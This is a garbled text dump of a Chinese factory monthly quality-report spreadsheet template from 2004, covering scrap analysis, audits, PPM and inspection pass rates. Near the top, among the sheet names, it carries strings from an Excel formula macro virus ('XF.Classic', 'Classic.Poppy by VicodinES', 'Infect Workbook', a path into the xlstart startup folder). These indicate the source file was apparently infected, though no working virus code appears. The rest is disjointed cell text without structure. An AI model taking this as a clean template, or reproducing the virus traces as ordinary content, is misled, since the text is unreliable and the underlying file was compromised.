综合质量月报模板.xlsVIP

11111111 Sheet3 Sheet2 Sheet1 4月份综合质量汇总情况.xls Book1 D:\MICROSOFT OFFICE\OFFICE\xlstart\Book1. **Auto and On Sheet Starts Here** Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** 序号 主要项目 金额 累计频次 累计百分比% 序号 零件号 报废数量 报废金额 小计 责任单位 项目 现状 目标值 责任人 报废主要原因 纠正预防措施 以及计划完成日期 实际完 成日期 优先减少计划： 实施结果验证 （2） 原因分析： (5)优先减少计划 零件库 质量方针: 仔细制造今天的零件，保证顾客要求； 精心策划明天的产品，满足用户期望； 一、 废品统计分析 责任心不强 精度差 设备老化 光线暗 油污大 测量不及时 (4) 对我厂金额最高的前10个品种废品统计分析： 二、产品审核分析 序号 零件号 存在缺陷 审核日期 纠正措施 符合率% 三、PPM（供货质量） 退货数量 月产量 PPM 入库批次 合格批次 抽样数量 不合格数量 合格率% 返工品数量 五、产品返工品率（单位：/百万） 返工率 六、进货验收合格率 （1）本月产品审核发现问题如下： （1）采购产品/材料进货验收合格率 单位 产品进货验收 材料进货验收 总批次 不合格批次 —— 合计 合格 率% （2）顾客提供产品/材料进货验收合格率 合格率% 不合 格批 次 总 批 次 （1）信息内容： 原 因： 处理决定： 原 因： （2）信息内容： （3）信息内容： 处理决定： —— 原 因： 四、入库产品一次交检合格率 单位 实际完成情况 计划情况 罚 金额(元) 奖 奖罚金额(元) 计划指标% 完成指标% (6)责任废品考核情况 七、质量体系运行状况 八、厂内、外质量信息通报 第1页 第2页 第3页 第4页 2004年第二期 黑皮 裂纹 工艺调试 未及时发现黑皮 毛坯不合格 (3) 纠正措施：要求生产科与分承包方协商,提供尺寸合格的毛坯。 报废金额达3299.25 元。 报废金额达1344.66 元。 详见2004-05《纠正预防措施实施表》 计划完成时间2004年3月30前 详见2004-04《纠正预防措施实施表》 计划完成时间2004年3月30前 废品下降30% 内孔中有铁屑 2004.2.23 2004.2.20 2004.2.17 顾客已同意接收 由零件库自行采取措施解决 —— 九、新产品试制情况 技术攻关工作有几个项目的工装已经订货，还有一些项目在实施当中。 单位 项目负责人 项目名称 技术科 实施情况 3月10日设备到货 正在收集资料 模具订货 已普查85个品种 1、审核时间： 2004年2月19日11：00-16：00。 2、审核人员： 3、我厂人员： 4、审核情况： 审核结果一览表 序号 最终检验作业指导书有笔误一处 无 零 件 号 零 件 名 称 过 程 审 核 产 品 审 核 十二、过程审核 5、审核组对我厂的产品很满意，本次审核通过，但也提出一些意见。 （2）所有产品的倒角尺寸没有按公差要求控制。 （4）以后在采购部来审核前，要先填写自检单。 6、在审核日产柴桥产品的同时，也审核了6DL产品1703149E5H，质管科与技术科对此作了相关解释，并将在富奥金 相检验的结果提交了采购部。此件断裂原因如下： 7、技术科针对1703149E5H的淬火情况提出了两点建议： 十三、质量控制点 序号 控制点编号 生产班组 零件号 工序号 管理点名称 技术要求 管理手段 负责人 检测方式 （2）征求设计者意见，将台尖处加一倒角，以倒角过渡，避免应力集中。 KZ-01 KZ-02 KZ-03 KZ-04 KZ-05 KZ-06 KZ-07 KZ-08 生产车间 磨床班 数控二班 热压班 磨外圆 磨球面 镗孔 车球面 热压 冷压成形 Φ30-0.052 Φ50-0.016 SΦ35-0.1 SΦ38-0.1 Φ62.38+0.3 SΦ19.65-0.25 厚度3-0.2 ◎Φ0